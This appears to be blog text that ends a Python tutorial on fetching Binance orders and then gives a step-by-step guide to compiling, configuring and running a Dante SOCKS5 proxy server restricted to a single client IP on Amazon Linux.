all_orders = ubra.get_all_orders(symbol='BTCUSDT', limit=10)
print(f"all_orders: {all_orders}")

# Get open orders
open_orders = ubra.get_open_orders(symbol='BTCUSDT')
print(f"open_orders: {open_orders}")

A full overview of all available methods can be found in the documentation.

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

For Debian and Ubuntu please follow these instructions.

If you are still looking for a server for this project, I can recommend the cx31 server for 4.51 EUR/month with 20TB traffic volume from the European provider HETZNER CLOUD.

Log into your server, access root privileges and run a system update:

sudo -i
yum update -y

Step 1 — Installation

The dante-server package is not available in the Amazon Linux package repository by default. Instead, build it from source following these steps.

Install the build tools and dependencies:

yum groupinstall "Development Tools"
yum install libevent-devel

Download the Dante source code:

curl -O https://www.inet.no/dante/files/dante-1.4.2.tar.gz

Extract the source code:

tar xvzf dante-1.4.2.tar.gz
cd dante-1.4.2

Configure and compile dante-server:

./configure
make
make install

Verify the installation:

sockd -v

Step 2 — Configuration

Copy the sockd.conf file to the appropriate location:

cp /home/ec2-user/dante-1.4.2/example/sockd.conf /etc/sockd.conf

To find the IP address of the eth0 interface run:

ip add show eth0

Example output:

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 06:72:6b:5d:09:dd brd ff:ff:ff:ff:ff:ff
    inet 172.1.2.3/20 brd 172.1.2.255 scope global dynamic eth0
    valid_lft 3451sec preferred_lft 3451sec
    inet6 fe80::472:6bff:fe5d:9dd/64 scope link
    valid_lft forever preferred_lft forever

Replace 172.1.2.3 with your server IP and 1.2.3.4 with your client IP from where you want to connect.

Edit the config file:

vi /etc/sockd.conf

internal: 0.0.0.0 port = 1080
external: 172.1.2.3
logoutput: stderr
logoutput: /var/log/danted.log
clientmethod: none
socksmethod: none
user.privileged: root
user.notprivileged: nobody

client pass {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: error connect disconnect
}
client block {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: connect error
}
socks pass {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: error connect disconnect
}
socks block {
    from: 1.2.3.4/32 to: 0.0.0.0/0
    log: connect error
}

The system service file is not included, so create one:

vi /etc/systemd/system/sockd.service

[Unit]
Description=SOCKS5 Proxy Server
After=network.target

[Service]
ExecStart=/usr/local/sbin/sockd -D
Restart=on-failure

[Install]
WantedBy=multi-user.target

Reload the system configuration and start the SOCKS5 proxy:

systemctl daemon-reload
systemctl start sockd.service
systemctl enable sockd.service

Check the status to confirm it's running:

systemctl status sockd

If everything worked, you now have a working SOCKS5 proxy server that only accepts connections from IP 1.2.3.4 and forwards to any destination address.

Additionally you can enable proper authentication — more info can be found here.

I hope you found this tutorial informative and enjoyable!

Follow me on GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Image source: pixabay.com